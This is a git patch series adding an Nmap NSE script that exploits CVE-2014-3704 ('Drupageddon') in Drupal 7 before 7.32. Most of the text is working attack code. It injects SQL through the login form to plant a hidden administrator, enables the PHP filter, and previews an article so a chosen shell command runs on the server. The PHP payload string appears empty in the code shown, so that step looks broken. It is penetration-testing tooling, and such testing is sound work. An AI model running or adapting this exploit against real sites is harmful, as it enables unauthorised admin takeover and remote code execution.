From 2904338653e14483325629aa65798981a6e4ddcb Mon Sep 17 00:00:00 2001 From: mzet Date: Wed, 14 Oct 2015 22:28:00 +0200 Subject: [PATCH 1/4] Add NSE script for detecting & exploiting CVE-2014-3704 --- scripts/http-vuln-cve2014-3704.nse | 403 +++++++++++++++++++++++++++++ 1 file changed, 403 insertions(+) create mode 100644 scripts/http-vuln-cve2014-3704.nse diff --git a/scripts/http-vuln-cve2014-3704.nse b/scripts/http-vuln-cve2014-3704.nse new file mode 100644 index 0000000000..8e52278054 --- /dev/null +++ b/scripts/http-vuln-cve2014-3704.nse @@ -0,0 +1,403 @@ +local http = require "http" +local shortport = require "shortport" +local stdnse = require "stdnse" +local url = require "url" +local vulns = require "vulns" +local re = require "re" +local openssl = require "openssl" + +description = [[ +Exploits CVE-2014-3704 also known as 'Drupageddon' in Drupal. Versions < 7.32 of Drupal core are known to be affected. + +Vulnerability allows remote attackers to conduct SQL injection attacks via an array containing crafted keys. + +The script injects new Drupal administrator user via login form and then it attempts to log in as this user to determine if target is vulnerable. If that's the case following exploitation steps are performed: + +* PHP filter module which allows embedded PHP code/snippets to be evaluated is enabled, +* permission to use PHP code for administrator users is set, +* new article which contains payload is created & previewed, +* cleanup: by default all DB records that were added/modified by the script are restored. + +Vulnerability originally discovered by Stefan Horst from SektionEins. + +Exploitation technique used to achieve RCE on the target is based on exploit/multi/http/drupal_drupageddon Metasploit module. +]] + +--- +-- @usage +-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal" +-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-vuln-cve2014-3704: +-- | VULNERABLE: +-- | Code Injection in Wordpress CM Download Manager plugin +-- | State: VULNERABLE (Exploitable) +-- | IDs: CVE:CVE-2014-3704 +-- | The expandArguments function in the database abstraction API in +-- | Drupal core 7.x before 7.32 does not properly construct prepared +-- | statements, which allows remote attackers to conduct SQL injection +-- | attacks via an array containing crafted keys. +-- | +-- | Disclosure date: 2014-10-15 +-- | Exploit results: +-- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux +-- | References: +-- | https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html +-- | https://www.drupal.org/SA-CORE-2014-005 +-- | http://www.securityfocus.com/bid/70595 +-- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704 +-- +-- @args http-vuln-cve2014-3704.uri Drupal root directory on the website. Default: / +-- @args http-vuln-cve2014-3704.cmd Shell command to execute. Default: nil +-- @args http-vuln-cve2014-3704.cleanup Indicates whether cleanup (removing DB records that was added/modified during exploitation phase) will be done. Default: true +--- + +author = "Mariusz Ziulek " +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"vuln", "intrusive", "exploit"} + +portrule = shortport.http + +--- Appends a new multipart/form-data part to a table +local function multipart_append_data(r, k, data, extra) + r[#r + 1] = string.format("content-disposition: form-data; name=\"%s\"", k) + if extra.filename then + r[#r + 1] = string.format("; filename=\"%s\"", extra.filename) + end + if extra.content_type then + r[#r + 1] = string.format("\r\ncontent-type: %s", extra.content_type) + end + if extra.content_transfer_encoding then + r[#r + 1] = string.format("\r\ncontent-transfer-encoding: %s", extra.content_transfer_encoding) + end + r[#r + 1] = string.format("\r\n\r\n") + r[#r + 1] = data + r[#r + 1] = string.format("\r\n") +end + +--- Creates multipart/form-data message as defined in RFC 2388 +local function multipart_build_body(content, boundary) + local r = {} + local k, v + for k, v in pairs(content) do + r[#r + 1] = string.format("--%s\r\n", boundary) + if type(v) == "string" then + multipart_append_data(r, k, v, {}) + elseif type(v) == "table" then + if v.data == nil then return nil end + local extra = { + filename = v.filename or v.name, + content_type = v.content_type or v.mimetype or "application/octet-stream", + content_transfer_encoding = v.content_transfer_encoding or "binary", + } + multipart_append_data(r, k, v.data, extra) + else + return nil + end + end + + r[#r + 1] = string.format("--%s--\r\n", boundary) + return table.concat(r) +end + +local function extract_CSRFtoken(content) + pattern = 'name="form_token" value="(.-)"' + value = string.match(content, pattern) + return value +end + +local function itoa64(index) + local itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' + return string.char(string.byte(itoa64, index + 1)) +end + +local function phpass_encode64(input) + local count = #input + 1 + local out = {} + local cur = 1 + + while cur < count do + local value = string.byte(input, cur) + cur = cur + 1 + table.insert(out, itoa64(bit.band(value, 0x3f))) + + if cur < count then + value = bit.bor(value, bit.lshift(string.byte(input, cur), 8)) + end + table.insert(out, itoa64(bit.band(bit.rshift(value, 6), 0x3f))) + + if cur >= count then + break + end + cur = cur + 1 + + if cur < count then + value = bit.bor(value, bit.lshift(string.byte(input, cur), 16)) + end + table.insert(out, itoa64(bit.band(bit.rshift(value, 12), 0x3f))) + + if cur >= count then + break + end + cur = cur + 1 + + table.insert(out, itoa64(bit.band(bit.rshift(value, 18), 0x3f))) + end + + return table.concat(out) +end + +local function gen_passwd_hash(passwd) + local iter = 15 + local iter_char = itoa64(iter) + local iter_count = math.pow(2, iter) + local salt = stdnse.generate_random_string(8) + + local md5 = openssl.md5(salt .. passwd) + for i = 1, iter_count do + md5 = openssl.md5(md5 .. passwd) + end + + local dgst = phpass_encode64(md5) + local h = '$P$' .. iter_char .. salt .. string.sub(dgst, 0, 22) + return h +end + +local function do_sql_query(host, port, uri, user) + + local adminRole = 'administrator' + local sql_user = ""; + local sql_admin = ""; + local passwd = "" + local email = "" + local passHash = "" + local query = "" + + if user == nil then + user = stdnse.generate_random_string(10) + passwd = stdnse.generate_random_string(10) + passHash = gen_passwd_hash(passwd) + email = stdnse.generate_random_string(8) .. '@' .. stdnse.generate_random_string(5) .. '.' .. stdnse.generate_random_string(3) + + stdnse.debug(1, string.format("adding admin user (username: '%s'; passwd: '%s')", user, passwd)) + sql_user = url.escape("insert into users (uid,name,pass,mail,status) select max(uid)+1,'" .. user .. "','" .. passHash .. "','" .. email .. "',1 from users;") + + sql_admin = url.escape("insert into users_roles (uid, rid) VALUES ((select uid from users where name='" .. user .. "'), (select rid from role where name = '" .. adminRole .. "'));") + + query = sql_user .. sql_admin + else + stdnse.debug(1, string.format("removing admin user (username: '%s')", user)) + + sql_user = url.escape("delete from users where name='" .. user .. "';") + + sql_admin = url.escape("delete from users_roles where uid=(select uid from users where name='" .. user .. "');") + + query = sql_admin .. sql_user + end + + local r = "name[0;" .. query .. "#%20%20]=" .. stdnse.generate_random_string(10) .. "&name[0]=" .. stdnse.generate_random_string(10) .. "&pass=" .. stdnse.generate_random_string(10) .. "&form_id=user_login&op=Log+in" + + opt = {} + opt['header'] = {} + opt['header']['Content-Type'] = "application/x-www-form-urlencoded" + res = http.post(host, port, uri .. "/user/login", opt, nil, r) + + return user, passwd +end + +local function set_php_filter(host, port, uri, session, disable) + + -- enable PHP filter + if not disable then + stdnse.debug(1, "enabling PHP filter module") + else + stdnse.debug(1, "disabling PHP filter module") + end + + local opt = {} + opt['cookies'] = session.name ..'='.. session.value + + local res = http.get(host, port, uri .. "/admin/modules", opt) + if res == nil then return nil end + + local csrfToken = extract_CSRFtoken(res.body) + + local enabledModulesPattern = 'name="([^"]*)" value="1" checked="checked" class="form%-checkbox"' + local data = {} + for m in string.gmatch(res.body, enabledModulesPattern) do + data[m] = 1 + if disable and m == 'modules[Core][php][enable]' then + data[m] = nil + end + end + + if not disable then + data['modules[Core][php][enable]'] = 1 + end + data['form_token'] = csrfToken + data['form_id'] = 'system_modules' + data['op'] = 'Save configuration' + res = http.post(host, port, uri .. "/admin/modules/list/confirm", opt, nil, data) + if res == nil then return nil end + + return true +end + +local function set_permission(host, port, uri, session, disable) + + -- allow Administrator to use php_code + if not disable then + stdnse.debug(1, "setting permissions for PHP filter module") + else + stdnse.debug(1, "restoring permissions for PHP filter module") + end + + local opt = {} + opt['cookies'] = session.name ..'='.. session.value + + local res = http.get(host, port, uri .. "/admin/people/permissions", opt) + if res == nil then return nil end + + local csrfToken = extract_CSRFtoken(res.body) + + local enabledPermsRegex = 'name="([^"]*)" value="([^"]*)" checked="checked"' + local data = {} + for key, value in string.gmatch(res.body, enabledPermsRegex) do + data[key] = value + if disable and key == '3[use text format php_code]' then + data[key] = nil + end + end + + if not disable then + data['3[use text format php_code]'] = 'use text format php_code' + end + data['form_token'] = csrfToken + data['form_id'] = 'user_admin_permissions' + data['op'] = 'Save permissions' + res = http.post(host, port, uri .. "/admin/people/permissions", opt, nil, data) + if res == nil then return nil end + + return true +end + +local function trigger_exploit(host, port, uri, session, cmd) + + local opt = {} + opt['cookies'] = session.name ..'='.. session.value + + -- add new Content page & trigger RCE + stdnse.debug(1, string.format("%s", "creating new article page with planted payload")) + + local res = http.get(host, port, uri .. "/node/add/article", opt) + if res == nil then return nil end + + local csrfToken = extract_CSRFtoken(res.body) + + stdnse.debug(1, string.format("%s", "calling preview article page & triggering exploit")) + local pattern = '"' .. stdnse.generate_random_string(5) + local payload = "" + local boundary = stdnse.generate_random_string(16) + opt['header'] = {} + opt['header']["Content-Type"] = "multipart/form-data" .. "; boundary=" .. boundary + + files = {} + files['title'] = 'title' + files['title'] = 'title' + files['form_id'] = 'article_node_form' + files['form_token'] = csrfToken + files['body[und][0][value]'] = payload + files['body[und][0][format]'] = 'php_code' + files['op'] = 'Preview' + local body = multipart_build_body(files, boundary) + + res = http.post(host, port, uri .. "/node/add/article", opt, nil, body) + if res == nil then return nil end + + return res.body, pattern +end + +action = function(host, port) + + local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/' + local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil + local cleanup = nil + if stdnse.get_script_args(SCRIPT_NAME..".cleanup") == "false" then + cleanup = "false" + end + + local user, passwd = do_sql_query(host, port, uri, nil) + + stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd)) + local data = {} + data['name'] = user + data['pass'] = passwd + data['form_id'] = 'user_login' + data['op'] = 'Log in' + + res = http.post(host, port, uri .. "/user/login", nil, nil, data) + + if res.status == 302 and res.cookies[1].name ~= nil then + local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port) + local vuln = { + title = 'Drupal - pre Auth SQL Injection Vulnerability', + state = vulns.STATE.NOT_VULN, + description = [[ +The expandArguments function in the database abstraction API in +Drupal core 7.x before 7.32 does not properly construct prepared +statements, which allows remote attackers to conduct SQL injection +attacks via an array containing crafted keys. + ]], + IDS = {CVE = 'CVE-2014-3704'}, + references = { + 'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html', + 'https://www.drupal.org/SA-CORE-2014-005', + 'http://www.securityfocus.com/bid/70595', + }, + dates = { + disclosure = {year = '2014', month = '10', day = '15'}, + }, + } + stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd)) + vuln.state = vulns.STATE.EXPLOIT + + if cmd ~= nil then + local session = {} + session.name = res.cookies[1].name + session.value = res.cookies[1].value + + set_php_filter(host, port, uri, session, false) + + set_permission(host, port, uri, session, false) + + local resp_content, pattern = trigger_exploit(host, port, uri, session, cmd) + + local cmdOut = nil + for m in string.gmatch(resp_content, pattern .. '([^"]*)' .. pattern) do + cmdOut = m + break + end + + if cmdOut ~= nil then + vuln.exploit_results = cmdOut + end + + -- cleanup: restore permission & disable php filter module + if cleanup == nil then + set_permission(host, port, uri, session, true) + set_php_filter(host, port, uri, session, true) + end + end + + -- cleanup: remove admin user + if cleanup == nil then + do_sql_query(host, port, uri, user) + end + + return vulnReport:make_output(vuln) + end +end + From dadf0ea77310ae0a2fea690f64ef554ab9919189 Mon Sep 17 00:00:00 2001 From: mzet Date: Wed, 14 Oct 2015 22:53:29 +0200 Subject: [PATCH 2/4] minor fix --- scripts/http-vuln-cve2014-3704.nse | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/http-vuln-cve2014-3704.nse b/scripts/http-vuln-cve2014-3704.nse index 8e52278054..6851637521 100644 --- a/scripts/http-vuln-cve2014-3704.nse +++ b/scripts/http-vuln-cve2014-3704.nse @@ -33,7 +33,7 @@ Exploitation technique used to achieve RCE on the target is based on exploit/mul -- 80/tcp open http syn-ack -- | http-vuln-cve2014-3704: -- | VULNERABLE: --- | Code Injection in Wordpress CM Download Manager plugin +-- | Drupal - pre Auth SQL Injection Vulnerability -- | State: VULNERABLE (Exploitable) -- | IDs: CVE:CVE-2014-3704 -- | The expandArguments function in the database abstraction API in From 393f93535a2da5099ee92c3ff67b89bbb159d3d7 Mon Sep 17 00:00:00 2001 From: Daniel Miller Date: Sun, 15 Nov 2015 15:07:22 +0000 Subject: [PATCH 3/4] Some code cleanup, whitespace, vars See https://secwiki.org/w/Nmap/Code_Standards for helpful tools to check for these issues. Minor code changes: * replaced a chain of string.char(string.byte()) with string.sub. * Initialized a few tables inline instead of subsequent index assignments --- scripts/http-vuln-cve2014-3704.nse | 122 ++++++++++++++++------------- 1 file changed, 68 insertions(+), 54 deletions(-) diff --git a/scripts/http-vuln-cve2014-3704.nse b/scripts/http-vuln-cve2014-3704.nse index 6851637521..24ee5e7da0 100644 --- a/scripts/http-vuln-cve2014-3704.nse +++ b/scripts/http-vuln-cve2014-3704.nse @@ -1,22 +1,30 @@ +local bit = require "bit" local http = require "http" +local math = require "math" local shortport = require "shortport" local stdnse = require "stdnse" +local string = require "string" +local table = require "table" local url = require "url" local vulns = require "vulns" local re = require "re" local openssl = require "openssl" description = [[ -Exploits CVE-2014-3704 also known as 'Drupageddon' in Drupal. Versions < 7.32 of Drupal core are known to be affected. +Exploits CVE-2014-3704 also known as 'Drupageddon' in Drupal. Versions < 7.32 +of Drupal core are known to be affected. -Vulnerability allows remote attackers to conduct SQL injection attacks via an array containing crafted keys. +Vulnerability allows remote attackers to conduct SQL injection attacks via an +array containing crafted keys. -The script injects new Drupal administrator user via login form and then it attempts to log in as this user to determine if target is vulnerable. If that's the case following exploitation steps are performed: +The script injects new Drupal administrator user via login form and then it +attempts to log in as this user to determine if target is vulnerable. If that's +the case following exploitation steps are performed: * PHP filter module which allows embedded PHP code/snippets to be evaluated is enabled, * permission to use PHP code for administrator users is set, * new article which contains payload is created & previewed, -* cleanup: by default all DB records that were added/modified by the script are restored. +* cleanup: by default all DB records that were added/modified by the script are restored. Vulnerability originally discovered by Stefan Horst from SektionEins. @@ -31,16 +39,16 @@ Exploitation technique used to achieve RCE on the target is based on exploit/mul -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-vuln-cve2014-3704: +-- | http-vuln-cve2014-3704: -- | VULNERABLE: -- | Drupal - pre Auth SQL Injection Vulnerability -- | State: VULNERABLE (Exploitable) -- | IDs: CVE:CVE-2014-3704 --- | The expandArguments function in the database abstraction API in +-- | The expandArguments function in the database abstraction API in -- | Drupal core 7.x before 7.32 does not properly construct prepared -- | statements, which allows remote attackers to conduct SQL injection -- | attacks via an array containing crafted keys. --- | +-- | -- | Disclosure date: 2014-10-15 -- | Exploit results: -- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux @@ -48,11 +56,14 @@ Exploitation technique used to achieve RCE on the target is based on exploit/mul -- | https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html -- | https://www.drupal.org/SA-CORE-2014-005 -- | http://www.securityfocus.com/bid/70595 --- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704 +-- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704 -- -- @args http-vuln-cve2014-3704.uri Drupal root directory on the website. Default: / -- @args http-vuln-cve2014-3704.cmd Shell command to execute. Default: nil --- @args http-vuln-cve2014-3704.cleanup Indicates whether cleanup (removing DB records that was added/modified during exploitation phase) will be done. Default: true +-- @args http-vuln-cve2014-3704.cleanup Indicates whether cleanup (removing DB +-- records that was added/modified during +-- exploitation phase) will be done. +-- Default: true --- author = "Mariusz Ziulek " @@ -74,7 +85,7 @@ local function multipart_append_data(r, k, data, extra) r[#r + 1] = string.format("\r\ncontent-transfer-encoding: %s", extra.content_transfer_encoding) end r[#r + 1] = string.format("\r\n\r\n") - r[#r + 1] = data + r[#r + 1] = data r[#r + 1] = string.format("\r\n") end @@ -88,35 +99,35 @@ local function multipart_build_body(content, boundary) multipart_append_data(r, k, v, {}) elseif type(v) == "table" then if v.data == nil then return nil end - local extra = { - filename = v.filename or v.name, - content_type = v.content_type or v.mimetype or "application/octet-stream", - content_transfer_encoding = v.content_transfer_encoding or "binary", - } - multipart_append_data(r, k, v.data, extra) + local extra = { + filename = v.filename or v.name, + content_type = v.content_type or v.mimetype or "application/octet-stream", + content_transfer_encoding = v.content_transfer_encoding or "binary", + } + multipart_append_data(r, k, v.data, extra) else return nil end end - + r[#r + 1] = string.format("--%s--\r\n", boundary) return table.concat(r) end local function extract_CSRFtoken(content) - pattern = 'name="form_token" value="(.-)"' - value = string.match(content, pattern) + local pattern = 'name="form_token" value="(.-)"' + local value = string.match(content, pattern) return value end local function itoa64(index) local itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' - return string.char(string.byte(itoa64, index + 1)) + return string.sub(itoa64, index + 1, index + 1) end local function phpass_encode64(input) local count = #input + 1 - local out = {} + local out = {} local cur = 1 while cur < count do @@ -125,7 +136,7 @@ local function phpass_encode64(input) table.insert(out, itoa64(bit.band(value, 0x3f))) if cur < count then - value = bit.bor(value, bit.lshift(string.byte(input, cur), 8)) + value = bit.bor(value, bit.lshift(string.byte(input, cur), 8)) end table.insert(out, itoa64(bit.band(bit.rshift(value, 6), 0x3f))) @@ -135,7 +146,7 @@ local function phpass_encode64(input) cur = cur + 1 if cur < count then - value = bit.bor(value, bit.lshift(string.byte(input, cur), 16)) + value = bit.bor(value, bit.lshift(string.byte(input, cur), 16)) end table.insert(out, itoa64(bit.band(bit.rshift(value, 12), 0x3f))) @@ -153,7 +164,7 @@ end local function gen_passwd_hash(passwd) local iter = 15 local iter_char = itoa64(iter) - local iter_count = math.pow(2, iter) + local iter_count = math.pow(2, iter) local salt = stdnse.generate_random_string(8) local md5 = openssl.md5(salt .. passwd) @@ -200,10 +211,13 @@ local function do_sql_query(host, port, uri, user) local r = "name[0;" .. query .. "#%20%20]=" .. stdnse.generate_random_string(10) .. "&name[0]=" .. stdnse.generate_random_string(10) .. "&pass=" .. stdnse.generate_random_string(10) .. "&form_id=user_login&op=Log+in" - opt = {} - opt['header'] = {} - opt['header']['Content-Type'] = "application/x-www-form-urlencoded" - res = http.post(host, port, uri .. "/user/login", opt, nil, r) + local opt = { + header = { + ['Content-Type'] = "application/x-www-form-urlencoded" + } + } + local res = http.post(host, port, uri .. "/user/login", opt, nil, r) + --TODO: Check return status return user, passwd end @@ -229,8 +243,8 @@ local function set_php_filter(host, port, uri, session, disable) local data = {} for m in string.gmatch(res.body, enabledModulesPattern) do data[m] = 1 - if disable and m == 'modules[Core][php][enable]' then - data[m] = nil + if disable and m == 'modules[Core][php][enable]' then + data[m] = nil end end @@ -245,7 +259,7 @@ local function set_php_filter(host, port, uri, session, disable) return true end - + local function set_permission(host, port, uri, session, disable) -- allow Administrator to use php_code @@ -263,12 +277,12 @@ local function set_permission(host, port, uri, session, disable) local csrfToken = extract_CSRFtoken(res.body) - local enabledPermsRegex = 'name="([^"]*)" value="([^"]*)" checked="checked"' + local enabledPermsRegex = 'name="([^"]*)" value="([^"]*)" checked="checked"' local data = {} for key, value in string.gmatch(res.body, enabledPermsRegex) do data[key] = value - if disable and key == '3[use text format php_code]' then - data[key] = nil + if disable and key == '3[use text format php_code]' then + data[key] = nil end end @@ -304,14 +318,14 @@ local function trigger_exploit(host, port, uri, session, cmd) opt['header'] = {} opt['header']["Content-Type"] = "multipart/form-data" .. "; boundary=" .. boundary - files = {} - files['title'] = 'title' - files['title'] = 'title' - files['form_id'] = 'article_node_form' - files['form_token'] = csrfToken - files['body[und][0][value]'] = payload - files['body[und][0][format]'] = 'php_code' - files['op'] = 'Preview' + local files = { + ['title'] = 'title', + ['form_id'] = 'article_node_form', + ['form_token'] = csrfToken, + ['body[und][0][value]'] = payload, + ['body[und][0][format]'] = 'php_code', + ['op'] = 'Preview', + } local body = multipart_build_body(files, boundary) res = http.post(host, port, uri .. "/node/add/article", opt, nil, body) @@ -321,7 +335,7 @@ local function trigger_exploit(host, port, uri, session, cmd) end action = function(host, port) - + local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/' local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil local cleanup = nil @@ -330,7 +344,7 @@ action = function(host, port) end local user, passwd = do_sql_query(host, port, uri, nil) - + stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd)) local data = {} data['name'] = user @@ -338,27 +352,27 @@ action = function(host, port) data['form_id'] = 'user_login' data['op'] = 'Log in' - res = http.post(host, port, uri .. "/user/login", nil, nil, data) + local res = http.post(host, port, uri .. "/user/login", nil, nil, data) if res.status == 302 and res.cookies[1].name ~= nil then local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port) local vuln = { - title = 'Drupal - pre Auth SQL Injection Vulnerability', - state = vulns.STATE.NOT_VULN, - description = [[ -The expandArguments function in the database abstraction API in + title = 'Drupal - pre Auth SQL Injection Vulnerability', + state = vulns.STATE.NOT_VULN, + description = [[ +The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys. ]], IDS = {CVE = 'CVE-2014-3704'}, references = { - 'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html', - 'https://www.drupal.org/SA-CORE-2014-005', - 'http://www.securityfocus.com/bid/70595', + 'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html', + 'https://www.drupal.org/SA-CORE-2014-005', + 'http://www.securityfocus.com/bid/70595', }, dates = { - disclosure = {year = '2014', month = '10', day = '15'}, + disclosure = {year = '2014', month = '10', day = '15'}, }, } stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd)) @@ -380,7 +394,7 @@ attacks via an array containing crafted keys. cmdOut = m break end - + if cmdOut ~= nil then vuln.exploit_results = cmdOut end From dc98563956213312a9b6aef39642eea1dbe3dd98 Mon Sep 17 00:00:00 2001 From: mzet Date: Wed, 18 Nov 2015 22:55:45 +0100 Subject: [PATCH 4/4] some additional cleanups --- scripts/http-vuln-cve2014-3704.nse | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/scripts/http-vuln-cve2014-3704.nse b/scripts/http-vuln-cve2014-3704.nse index 24ee5e7da0..e429c54a93 100644 --- a/scripts/http-vuln-cve2014-3704.nse +++ b/scripts/http-vuln-cve2014-3704.nse @@ -180,12 +180,12 @@ end local function do_sql_query(host, port, uri, user) local adminRole = 'administrator' - local sql_user = ""; - local sql_admin = ""; - local passwd = "" - local email = "" - local passHash = "" - local query = "" + local sql_user + local sql_admin + local passwd + local email + local passHash + local query if user == nil then user = stdnse.generate_random_string(10) @@ -346,11 +346,12 @@ action = function(host, port) local user, passwd = do_sql_query(host, port, uri, nil) stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd)) - local data = {} - data['name'] = user - data['pass'] = passwd - data['form_id'] = 'user_login' - data['op'] = 'Log in' + local data = { + ['name'] = user, + ['pass'] = passwd, + ['form_id'] = 'user_login', + ['op'] = 'Log in', + } local res = http.post(host, port, uri .. "/user/login", nil, nil, data)